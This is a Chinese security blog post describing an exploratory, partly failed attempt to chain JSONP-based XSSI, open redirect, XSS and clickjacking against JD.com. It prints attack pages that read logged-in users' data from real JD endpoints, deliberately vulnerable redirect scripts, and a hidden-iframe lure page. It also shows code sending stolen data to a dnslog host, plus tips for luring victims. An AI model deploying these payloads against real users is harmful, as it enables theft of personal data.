这篇文章并不是一次成功的漏洞利用,而是一次失败的漏洞串联,主要记录在寻找串联可能性的过程中遇到的困难以及探索思路
简单来说可能意义不大,如果你喜欢看探索过程,可以继续观看
在一次漏洞挖掘过程中,我发现 callback=jsonp_xxx
或者 callback=jQuery_xxx
这类格式的URL存在 XSS 漏洞,当时没有自己研究具体是怎么回事
后来在抓京东的数据包的时候偶然发现: 京东官网也存在这种形式的URL,经过测试,同样存在 XSS 漏洞,抱着试一试的态度,在其他头部厂商的官网也发现了类似漏洞
近期,无聊想起这个漏洞,就学习了一下,发现 callback=jsonp_xxx
这种形式是 jsonp 跨域的常见形式,接口返回的内容通常是下面这样
jsonp_xxx({"key": "value"})
不了解这方面知识的小伙伴可以搜索一下 jsonp ,也可以通过下面的链接进行学习
https://www.cnblogs.com/soyxiaobi/p/9616011.html
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://juejin.cn/post/7024799741120610318
不严谨但简单来说是将数据放在函数调用参数中的方式将数据传递给调用者
注意,这里返回的是一个函数调用,准确来说是 javascript 代码,因此,如果可以控制 callback 后面的参数就会导致 XSS
但利用起来有些困难,因为需要像我一样,在网站请求过程中抓包,而不能直接将一个URL发送给受害者来触发,可能这也是这些互联网大厂不修这个漏洞的原因
我觉得这种情况可以有两种继续深入的方式:
有一天在朋友圈看到有人分享 XSSI 漏洞,其中涉及到 jsonp ,于是想起了这个漏洞的事,饶有兴趣地又研究了一番,之前不了解这个漏洞的朋友可以通过下面链接了解一下
https://www.mi1k7ea.com/2020/01/04/%E6%B5%85%E6%9E%90XSSI%E6%BC%8F%E6%B4%9E/
我觉得 XSSI 漏洞在某些层面来说填补了 CSRF 漏洞的不足
简单来说,<script>
标签的 src
属性是允许跨域的,如果请求的 js 包含一些用户信息,允许直接 GET 访问,就可以实现窃取用户信息
场景如下:
恶意页面(demo.html)代码如下
<!--恶意页面-->
<!DOCTYPE html>
<html>
<head>
<title>XSSI Attack</title>
<script type="text/javascript">
window.data = '';
function jQuery9378169(d){
window.data = d;
}
</script>
</head>
<body>
<h2>XSSI Attack</h2>
<p id="leaked_content"></p>
<script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.4/jquery.js"></script>
<script type="text/javascript" src="https://b-plus.jd.com/api/user/getUserLevel?callback=jQuery9378169"></script>
<script type="text/javascript">
$('#leaked_content').text(JSON.stringify(window.data));
</script>
</body>
</html>
Ubuntu 上使用 Apache 作为恶意服务器
apt update
apt install apache2
将 demo.html 放入 /var/www/html 下
直接访问该页面
页面中无用户个人信息内容
可以看到,恶意页面的 js 成功获取到用户 userLevel 信息,并打印到了页面上,当然,如果攻击者愿意,也可以发送到攻击者服务器上进行存储
所以大家可以看出,如果一个网站将用户敏感信息以动态脚本或者这类接口的形式存储,用户信息可能在无意中被窃取,当然,京东对于敏感信息都加入了额外的校验,这个接口是极少数没有校验的,当然也只有用户等级数据,这里很多红队攻击者可能明白过来自己是怎么被蜜罐儿溯源的了
上面的演示能够成功是因为 https://b-plus.jd.com/api/user/getUserLevel?callback=jQuery9378169
这个接口只验证了 Cookie ,并没有做额外的验证,然而,对于用户敏感数据请求的接口,京东统一做了一项验证 —— referer
头
正常请求
修改 referer 头、置空 referer 头、删除 referer 头请求
敏感信息的请求验证了 referer 头,而我们使用 script 标签的 src 属性对该接口进行请求时,是无法控制用户使用任意header的(常规情况下,抛开浏览器漏洞或bug),这就导致我们窃取用户信息失败
既然有 referer 头检查,那如果我们可以将检查这一步绕过去,岂不是就可以通过注册特殊域名的方式来规避掉referer 头的问题了,下面列几个简单的绕过
换协议头
经过一番尝试,似乎协议头只支持 http 和 https
二级域名
referer 头可以是京东任意子域名 *.jd.com
验证字符是否可以出现在子域名或目录中等
以上案例都不行
Fuzz 域名可以出现的字符串
经过测试,只有 .
和 |
允许出现在域名字符串中,没有想到比较好的绕过组合
从字符串匹配角度去绕过 referer 头无果,想其他方案
参考文章
https://blog.csdn.net/qq_39101049/article/details/102549276
https://www.freebuf.com/column/179900.html
https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
https://sec.okta.com/articles/2021/02/why-it-so-hard-prevent-open-redirects
字符串绕不过去,我们就需要真的让被害用户访问敏感接口的时候带着 referer 头,但是我们又没有通用办法任意设置用户的 referer 头,最多也就是设置空的 referer 头
这个时候我就想到,如果京东任意的子域名有一个重定向功能,帮我们把敏感 URL 过一遍,这样有效的 referer 头不就来了嘛!也就是说,找一个 Open Redirect 漏洞配合 XSSI 漏洞,简直天作之合有没有!
但这里涉及一个问题, script 标签的 src 属性获取到的内容是跳转的这个包的 body 还是跳转后的url的body,需要测试一下,于是使用 burpsuite 的 history 开始翻链接,看看能不能找到一个帮我们验证的
想要验证我的想法,必须满足以下条件
还真让我找到了
https://sso.jd.com/setCookie?t=sso.jhscm.com&callback=jQuery9378169
那好,现在我们就可以验证一下这个思路了
demo.html
<!--恶意页面-->
<!DOCTYPE html>
<html>
<head>
<title>XSSI Attack</title>
<script type="text/javascript">
window.data = '';
function jQuery9378169(d){
window.data = d;
}
</script>
</head>
<body>
<h2>XSSI Attack</h2>
<p id="leaked_content"></p>
<script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.4/jquery.js"></script>
<script type="text/javascript" src="https://sso.jd.com/setCookie?t=sso.jhscm.com&callback=jQuery9378169"></script>
<script type="text/javascript">
$('#leaked_content').text(JSON.stringify(window.data));
</script>
</body>
</html>
成功获取到该接口经过重定向后的返回值。也就是说,如果我们找到一个链接可以帮助我们跳转一下,就可以让被害用户带有有效 referer 头请求敏感接口,并返回到恶意页面中
这漏洞也算是可遇不可求了,我使用搜索引擎配合查找 site:jd.com inurl:url=
、site:jd.com inurl:redirect=
找了一圈,没有发现漏洞
转念一想,一般SSO登录口都会有跳转呀,大概形式都是
https://sso.domain.com/?ReturnUrl=https://sec.domain.com/
如果已经登录了的情况,会直接跳转,这岂不是完美,抱着这个想法,我找到了是京东子域名的SSO
https://passport.jd.com/new/login.aspx?ReturnUrl=https%3A%2F%2Fwww.jd.com%2F
然而,遗憾的是
京东的 SSO 登录页面登录状态下访问竟然不是直接跳转的,我看这就是难为我胖虎!!!
于是我在项目发布平台向平时挖 src 的朋友们求助,遗憾的是大家送过来的 Open Redirect 或多或少有些局限,没有办法重定向到完整目录、接口以及参数
找不到 Open Redirect 让我日思夜想,最终我想到一个办法,我又不是想攻击京东,我只是验证攻击的可能性,我直接在本地搭建一个 Open Redirect 漏洞环境不就完了,之后修改受害者的 hosts 文件,随便找个子域名,解析到漏洞环境,不就可以实现有效跳转了
apt update
apt install apache2
# 我的更新源中 php 版本为 8.1 ,大家可以适当选择
apt install php8.1 libapache2-mod-php8.1
脚本目录为 /var/www/html/
,新建一个 index.php
<?php
phpinfo();
?>
因为恶意页面服务器是从这个虚拟机克隆的,所以主机名相同,希望大家不要混淆,我会尽量说清楚
访问测试 php 代码是否可以解析了
成功解析 php 代码
新建 redirect.php
<?php
$url = $_GET['url'];
header("Location: $url");
?>
我的物理机扮演受害者,我是 Mac OS 操作系统,修改的文件为 /etc/hosts
burpsuite 先给我来了个下马威,自带的 chromium 直接忽视了我的 hosts 文件配置,于是使用物理机 edge 浏览器
访问 http://or.jd.com/redirect.php?url=https://passport.jd.com/user/petName/getUserInfoForMiniJd.action?callback=jQuery9378169
遗憾的是,当我访问以上链接时,页面直接重定向到了 www.jd.com
使用浏览器的开发者工具进行查看
可以看到,访问 https://passport.jd.com/user/petName/getUserInfoForMiniJd.action?callback=jQuery9378169 的请求中并没有 referer 头,也就是说 Open Redirect 并不能给我们带来有效的 referer 头
如果大家有仔细看之前的图片的话,我们可以看到
这个重定向的过程中可是客户端自动填充了 referer
头,即
Referer: https://sso.jd.com
难道是我看错了不成?于是我使用浏览器,开发人员工具进行查看这个过程
还真就没有 referer
头,好家伙,被 burpsuite 给“欺骗了”
通过查询相关资料,发现服务端通过设置 Location 头实现跳转是不带 referer 的,有几种情况是带 referer 的
参考资料
http://www.kkh86.com/it/php-adv/guide-keng-header-no-referer.html
https://juejin.cn/post/6844903831373889550
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer
会不会是因为我们是从 http 跳转到 https 才导致的不带 referer 头呢,于是我尝试从 http 跳转到 http 试试
http://or.jd.com/redirect2.php?url=http://cn.archive.ubuntu.com/ubuntu/
可以看到,服务端 Location 的方式即使 http 转 http 也不会带 referer
给跳转服务器打个快照,我们做一个自签名证书,尝试 https 转 https
为了方便识别,我将两台虚拟机分别按照功能修改主机名为 redirect (192.168.31.185) 和 evil (192.168.31.83)
ubuntu 22.04 修改hostname 方法
hostnamectl set-hostname redirect
hostnamectl set-hostname evil
Apache 配置自签名 SSL 证书的方法参考
https://www.gingerdoc.com/tutorials/how-to-create-a-self-signed-ssl-certificate-for-apache-in-ubuntu-20-04
配置成功
尝试从 https 跳转到 https
https://or.jd.com/redirect2.php?url=https://www.jd.com/
依旧没有 referer ,因此服务器端 Location 类型的 Open Redirect 无法攻击成功
<?php
$url = $_GET['url'];
// header("Location: $url");
?><script>
location.href = "<?php echo $url; ?>";
</script>
尝试跳转至 https://www.jd.com
http://or.jd.com/redirect.php?url=https://www.jd.com/
https://or.jd.com/redirect.php?url=https://www.jd.com/
http 和 https 在使用 js 跳转的时候都是附带 referer 的
这样的话,访问 redirect.php 跳转到包含敏感信息的网站接口,看看是否会返回敏感信息
登录京东后,尝试访问以下url
http://or.jd.com/redirect.php?url=https://passport.jd.com/user/petName/getUserInfoForMiniJd.action?callback=jQuery9378169
成功访问到敏感数据,这是不是意味着直接使用XSSI+Open Redirect 就可以在用户无感知的情况下获取到敏感数据了呢
demo.html
<!--恶意页面-->
<!DOCTYPE html>
<html>
<head>
<title>XSSI Attack</title>
<script type="text/javascript">
window.data = '';
function jQuery9378169(d){
window.data = d;
}
</script>
</head>
<body>
<h2>XSSI Attack</h2>
<p id="leaked_content"></p>
<script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.4/jquery.js"></script>
<script type="text/javascript" src="https://or.jd.com/redirect.php?url=https://passport.jd.com/user/petName/getUserInfoForMiniJd.action?callback=jQuery9378169"></script>
<script type="text/javascript">
$('#leaked_content').text(JSON.stringify(window.data));
</script>
</body>
</html>
又被 CORB 给拦截了,难道是被 or.jd.com 本身跨域问题给拦截了吗?于是我在 or.jd.com 服务器中添加文件
1.js
jQuery9378169({"message":"success","success":true,"userLevel":"61"})
修改 evil 服务器上的 demo.html
<!--恶意页面-->
<!DOCTYPE html>
<html>
<head>
<title>XSSI Attack</title>
<script type="text/javascript">
window.data = '';
function jQuery9378169(d){
window.data = d;
}
</script>
</head>
<body>
<h2>XSSI Attack</h2>
<p id="leaked_content"></p>
<script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.4/jquery.js"></script>
<script type="text/javascript" src="http://or.jd.com/1.js"></script>
<script type="text/javascript">
$('#leaked_content').text(JSON.stringify(window.data));
</script>
</body>
</html>
可以获取到数据,这说明不是 or.jd.com 本身拦截的,就是使用 javascript 跳转这种方式会引起跨域问题
由于对前端知识了解不是很透彻,还是想对可能的原因进行尝试
刚才使用 javascript 跳转的方法 or.jd.com 返回的状态码是 200 而不是 302 ,这会不会是一个影响因素呢?
让 redirect.php 返回状态码为 302
<?php
http_response_code(302);
$url = $_GET['url'];
// header("Location: $url");
?><script>
location.href = "<?php echo $url; ?>";
</script>
修改状态码后,发现原本的 javascript 失效了,可能是浏览器对于两者优先级识别不同,状态码优先级更高一些,同时浏览器会去自动寻找 Location ;或者是我们 php 代码中设置状态码的代码太靠前了,但是这种可能性很小,但很容易测试
修改 redirect.php
<?php
$url = $_GET['url'];
// header("Location: $url");
?><script>
location.href = "<?php echo $url; ?>";
</script>
<?php
http_response_code(302);
?>
结果还是一样的,所以修改状态码应该是没有用的
如果我把两种技术都用上,会有作用吗?按原理来说应该和修改状态码效果一样,优先 Location, 但还是想试一试
修改 redirect.php
<?php
$url = $_GET['url'];
header("Location: $url");
?><script>
location.href = "<?php echo $url; ?>";
</script>
这回有请求了,甚至还带了 referer ,但是并不是 or.jd.com ,而是 192.168.31.83 ,也就是 evil 服务器
这里我就困惑了,虽然失败了,为何会带了 referer 呢,难道两种重定向技术都解析了?
这其实是文章前面部分的小误区,或者说没有想到的地方
我们修改 redirect.php ,仅留下 Location 重定向的代码
<?php
$url = $_GET['url'];
header("Location: $url");
?>
访问
http://or.jd.com/redirect.php?url=https://passport.jd.com/user/petName/getUserInfoForMiniJd.action?callback=jQuery9378169
情况如下:
访问 or.jd.com 的 redirect.php 无referer
访问 passport.jd.com 的敏感信息接口 无 referer
访问 www.jd.com 无 referer
访问目标 | referer 情况 |
---|---|
http://or.jd.com/redirect.php | 无 referer |
https://passport.jd.com/ | 无 referer |
https://www.jd.com/ | 无 referer |
接下来访问恶意页面 demo.html
情况如下:
访问目标 | referer 情况 |
---|---|
http://192.168.31.83/demo.html | 无 referer |
http://or.jd.com/redirect.php | http://192.168.31.83 |
https://passport.jd.com/ | http://192.168.31.83 |
https://www.jd.com | http://192.168.31.83 |
对比以上两种情况,我们可以发现:
Location 并不是不带 referer ,而是传递 referer ,也就是说如果发起 Location 的请求带 referer 的情况下, 重定向到的页面的请求包中就会带 referer ,这个 referer 的值不是重定向的url(http://or.jd.com/redirect.php)而是向重定向url发起请求的源URL (http://192.168.31.83/demo.html)
因此,接下来的方向就得放在如何从京东的子域名对 Open Redirect 发起请求这基本上就是回到了原点,因为我们利用 Open Redirect 就是为了“蹭”一个 referer
因此目前想要达到攻击目的,我能想到的只能是控制一个子域名系统前端或者某个子域名系统存在 XSS 了
这样的话成本就很高了,除非这些厂商对于某些子域名系统安全做得不到位
域名系统存在XSS就不说了,其实就是为了将 demo.html 内容写进页面,和控制子域名系统的前端意义差不多,这里就直接模拟控制了某个子域名系统的前端页面
为了模拟,直接在被攻击者电脑的 hosts 文件中加一行,将 evil.jd.com 解析为 192.168.1.83 (之前用来放置恶意页面的服务器),也就是相当于现在 demo.html 已经部署在 evil.jd.com 这个子域名上了
demo.html
<!--恶意页面-->
<!DOCTYPE html>
<html>
<head>
<title>XSSI Attack</title>
<script type="text/javascript">
window.data = '';
function jQuery9378169(d){
window.data = d;
}
</script>
</head>
<body>
<h2>XSSI Attack</h2>
<p id="leaked_content"></p>
<script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.4/jquery.js"></script>
<script type="text/javascript" src="https://or.jd.com/redirect.php?url=https://passport.jd.com/user/petName/getUserInfoForMiniJd.action?callback=jQuery9378169"></script>
<script type="text/javascript">
$('#leaked_content').text(JSON.stringify(window.data));
</script>
</body>
</html>
redirect.php
<?php
$url = $_GET['url'];
header("Location: $url");
?>
登录京东账户后,模拟受害者访问放置于子域名的恶意页面
这样就可以成功获取到数据了
想要实现这种攻击,至少可以有三种场景
控制了官方子域名前端的情况,传播起来会很简单,例如在社交网络中进行虚假宣传,让用户先登录商城,之后访问这个页面,二维码和URL都放出来,反正是官方的域名,上当的人应该不会少
但是如果是 XSS 这种形式,尤其是反射型XSS,就需要借助二维码等进行隐藏了,当然,我们也可以利用视觉欺骗类的手法,让受害者不知不觉间被攻击
最好是能让受害人不得不登录商城,并且认为这是一个正常行为,这就有一定的危害性且可利用了,这里不多讨论,我们还是回归技术
说到诱导用户点击,那点击劫持可以说是一把好手呀
点击劫持漏洞主要攻击手法是在诱导性界面(攻击者服务器)上使用 iframe 等加载正常的页面(例如正常京东的页面),覆盖到整个或部分页面中,通过CSS让覆盖层(正常页面)完全透明,这样通过在正常页面的关键位置(例如点击关注)相同的位置的底层,也就是攻击者服务器的页面出放置一个诱导性按钮
这样就会给受害者一个视觉错误,以为点击的是诱导性按钮(例如点击查看美女图片),实际上点击的是正常页面的功能按钮
其实目前情况是不需要点击来帮忙的,我们只要加载了页面就好,不过更复杂的一些攻击可能需要点击劫持的帮忙,点击劫持通常使用 iframe 来覆盖整个页面,但是当前场景我们不需要,我们希望的是:iframe 加载页面,覆盖的越小越好,最好一点都不覆盖下层网页
当前场景为:我们将某个非常吸引人的网站页面作为点击劫持的服务器端,吸引受害者来访问。有些时候,对普通人钓鱼,他看到jd.com 可能不屑一顾,但是看到什么吃瓜事件、美女图片啥的,那兴趣可大呢,我们这里就模拟一个经过分享美女图片的网站。在这个网站中使用 iframe 嵌入恶意代码
这个场景下,Open Redirect 那台服务器就闲置了,我们利用起来,将其用作实施点击劫持攻击的服务器,它不再模拟京东某个子域名了,所以我们修改受害人的 hosts 文件
点击劫持服务器地址改为了 www.clickjacking.com
index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>选出你最喜欢的女明星</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
} .container {
max-width: 600px;
margin: 0 auto;
padding: 20px;
background-color: #fff;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
.question {
font-size: 18px;
font-weight: bold;
margin-bottom: 20px;
}
.image-container {
text-align: center;
margin-bottom: 20px;
}
.image-container img {
max-width: 100%;
border-radius: 5px;
}
#hidden-iframe {
width: 0;
height: 0;
border: 0;
opacity: 0;
}
</style>
</head>
<body>
<div class="container">
<div class="question">
你喜欢高圆圆吗?
</div>
<div class="image-container">
<img src="gyy.jpeg" alt="女神">
</div>
<div>
<iframe id="hidden-iframe" src="http://evil.jd.com/demo.html"></iframe>
</div>
</div>
</body>
</html>
准备一张美女的照片,这里以高圆圆为例
预览一下
之前呢,一直是将信息打印到网页上,但是现在网页上 iframe 大小为 0 ,完全透明,所有现在以传递给 dnslog 为例,传递一部分就好,验证可行性,这里以 plusStatus
数据为例
获取dnslog 子域名
demo.html
<!--恶意页面-->
<!DOCTYPE html>
<html>
<head>
<title>XSSI Attack</title>
<script type="text/javascript">
window.data = '';
function jQuery9378169(d){
window.data = d;
}
</script>
</head>
<body>
<h2>XSSI Attack</h2>
<p id="leaked_content"></p>
<script type="text/javascript" src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.4/jquery.js"></script>
<script type="text/javascript" src="https://passport.jd.com/user/petName/getUserInfoForMiniJd.action?callback=jQuery9378169"></script>
<script id="oob"></script>
<script type="text/javascript">
// $('#leaked_content').text(JSON.stringify(window.data));
var oob_url = 'http://' + window.data.plusStatus + '.i5uobi.dnslog.cn/'
var scriptElement = document.getElementById("oob"); // 设置src属性为URL变量的值
scriptElement.src = oob_url;
</script></body>
</html>
模拟用户登录京东后,访问了某娱乐网站 www.clickjacking.com
dnslog 成果获取到 plusStatus 的值
经过一系列的折腾,我们终于将 XSSI漏洞
、XSS漏洞
、点击劫持
三个漏洞结合了起来,当然,如果你喜欢也可以把 Open Redirect 结合进去,但是总体来说,还是比较失败的,必须得有一个比较关键的 XSS 漏洞或者控制一个子域名的前端,因此我称这个标题为:一次失败的漏洞串联尝试,但是这其中有一些小问题留给大家思考
这其中可能还涉及一些小知识点,就不在这里总结了,能看完文章的小伙伴肯定知道知识点都在哪里
本篇文章中涉及到京东部分网站,主要是因为这个稍显鸡肋的XSS是率先在京东商城无意间发现的,而且京东网站功能比较全面,本文中讨论的技术不会对京东商城及其相关网站造成安全影响
如果京东的朋友们认为文章对其造成了影响,请及时联系我们,我们会第一时间进行删除,联系方式 vx: just_hack_for_fun